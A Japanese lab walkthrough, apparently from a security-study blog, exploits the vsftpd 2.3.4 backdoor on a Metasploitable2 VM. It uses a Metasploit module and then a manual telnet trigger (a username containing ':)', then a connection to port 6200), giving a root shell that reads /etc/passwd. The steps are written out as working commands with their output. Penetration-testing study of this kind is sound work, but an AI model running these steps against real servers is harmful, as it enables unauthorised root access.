Metasploit(vsftpd 2.3.4 バックドア)

前提
『Metasploit』
www.demandosigno.study

Metasploitable2 と Kali の双方のアドレスを確認する。

root@kali:~# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
 ~(後略)~

msfadmiin@metasploitable:~$ ifconfig eth0
eth0    Link encap:Ethernet HWaddr 08:00:27:79:45:e8
           inet addr:192.168.56.105  Bcast:192.168.56.255  Mask:255.255.255.0
 ~(後略)~

疎通確認
root@kali:~# ping 192.168.56.105
PING 192.168.56.105 (192.168.56.105) 56(84) bytes of data.
64 bytes from 192.168.56.105: icmp_seq=1 ttl=63 time=0.848 ms
64 bytes from 192.168.56.105: icmp_seq=2 ttl=63 time=1.69 ms
64 bytes from 192.168.56.105: icmp_seq=3 ttl=63 time=1.74 ms

msfconsole を起動する

  1. Metasploit で使うデータベースを起動する
  2. データベースの初期化を行う
  3. msfconsole を起動する
root@kali:~# service postgresql start
root@kali:~# service postgresql status
 postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor pres
   Active: active (exited) since Fri 2019-09-06 15:50:02 JST; 17s ago
 ~(後略)~
root@kali:~# msfdb init
[i] Database already started
[+] Creating database user 'msf'
新しいロールのためのパスワード: 
もう一度入力してください:
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

既に一度でも起動したことがある場合
root@kali:~# msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization
root@kali:~# msfconsole
 (この画面は毎回変わる)                                                  
               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,
        'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk
 oMMMMMMMMMMx.                    dMMMMMMMMMMx
.WMMMMMMMMM:                       :MMMMMMMMMM,
xMMMMMMMMMo                         lMMMMMMMMMO
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd                        ,0MMMMMMMMMMK;
.WMMMMMMMMMc                         'OMMMMMM0,
 lMMMMMMMMMMk.                         .kMMO'
  dMMMMMMMMMMWd'                         ..
   cWMMMMMMMMMMMNxc'.                ##########
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           'oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:                                
                                :::::::+:
                      Metasploit

       =[ metasploit v5.0.43-dev                          ]
+ -- --=[ 1917 exploits - 1074 auxiliary - 330 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 4 evasion                                       ]

msf5 > 

Metasploitable2 の 21番ポートで動いているサービスを調べる。

msf5 > nmap -sV -p 21 192.168.56.105
[*] exec: nmap -sV -p 21 192.168.56.105

Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-06 16:01 JST
Nmap scan report for 192.168.56.105
Host is up (0.0013s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4 (← 21番ポートでは vsftpd 2.3.4 が動いていることが分かる)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.37 seconds
msf5 >

対応するエクスプロイトが存在するか検索する。

msf5 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

vsftpd 2.3.4に含まれたバックドアに関する検証レポート | NTTデータ先端技術株式会社
vsftpdのバージョン2.3.4のソースファイル「vsftpd-2.3.4.tar.gz」にリモートから任意のコードの実行を可能にするバックドアコードが含まれていました。
バックドアコードを含んだ状態でvsftpdをインストールおよび起動すると、特定の文字列「:)」を含むユーザー名でFTP接続した際にバックドアポートであるTCP6200番がオープンします。バックドアポートにリモートから接続すると任意のコマンドが実行可能となります。

検出したエクスプロイトを使用する。

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor

Metasploitable2 の IPアドレスをセットする。

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.56.105
RHOST => 192.168.56.105

ペイロードをセットする。

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact

エクスプロイトを実行する。

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.105:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.105:21 - USER: 331 Please specify the password.
[+] 192.168.56.105:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.105:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:39609 -> 192.168.56.105:6200) at 2019-09-06 16:12:11 +0900

侵入できたかどうか確認する。

id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Metasploitable2 に侵入できていることが分かる。
パスワードファイルを表示する。

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
 ~(後略)~

Ctrl + C で終了する。

 ^C
Abort session 1? [y/N]  y
""

[*] 192.168.56.105 - Command shell session 1 closed.  Reason: User exit
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > back
Metasploit コンソールを終了する
msf5 > exit
Metasploitable2 から出る
telnet を使用して検証してみる。

telnetでファイル転送?(FTP)

root@kali:~# telnet 192.168.56.105 21
Trying 192.168.56.105...
Connected to 192.168.56.105.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:) (← ユーザー名。ハッピーフェイス :) を入力する)
331 Please specify the password.
pass invalid (← パスワード)
^] (← Ctrl + ] でエスケープ文字を送信し、コマンドモードに移行する)
telnet> quit (← telnet を一度終了する)
Connection closed.

root@kali:~# telnet 192.168.56.105 6200 (← 6200 ポートがオープンしているか調べる)
Trying 192.168.56.105...
Connected to 192.168.56.105.
Escape character is '^]'.
id; (← id コマンドを試してみる)
uid=0(root) gid=0(root)
: command not found
uname -a; (← uname -a コマンドを試してみる)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux (← Metasploitable2 に侵入できている)
: command not found
cat /etc/passwd; (← /etc/passwd ファイルを表示してみる)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
 ~(後略)~
: command not found
^] (← Ctrl + ] でエスケープ文字を送信し、コマンドモードに移行する)
telnet> quit
Connection closed.
root@kali:~# 

以上でMetasploitable2 に侵入して root 権限でファイル操作ができることが分かる。

『Armitage(vsftpd 2.3.4 バックドア)』
www.demandosigno.study

/* -----codeの行番号----- */